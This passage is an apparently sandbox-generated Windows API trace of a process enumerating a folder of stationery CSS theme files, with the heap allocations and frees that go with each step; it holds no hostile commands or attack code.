ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0076.477] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0076.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf0c0 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c408 [0076.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.478] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0076.478] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf0e0 [0076.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c510 [0076.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.479] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beige.css", cAlternateFileName="")) returned 1 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf100 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c618 [0076.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.479] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0076.479] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf120 [0076.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c720 [0076.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.480] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0076.480] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf140 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c828 [0076.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.480] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0076.480] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf160 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c930 [0076.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.481] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf180 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ca38 [0076.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.481] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0076.481] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf1a0 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9cb40 [0076.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.482] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.css", cAlternateFileName="")) returned 1 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf1c0 [0076.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0060 [0076.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3ac0) returned 0xaca190 [0076.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6708) returned 1 [0076.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.483] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0076.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf1e0 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0168 [0076.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.484] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0076.484] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf200 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0270 [0076.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.484] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0076.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf220 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0378 [0076.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.485] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf240 [0076.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0480 [0076.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.485] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0076.486] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf260 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0588 [0076.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.486] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x715, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf280 [0076.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0690 [0076.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.487] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0076.487] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf2a0 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0798 [0076.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.487] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, 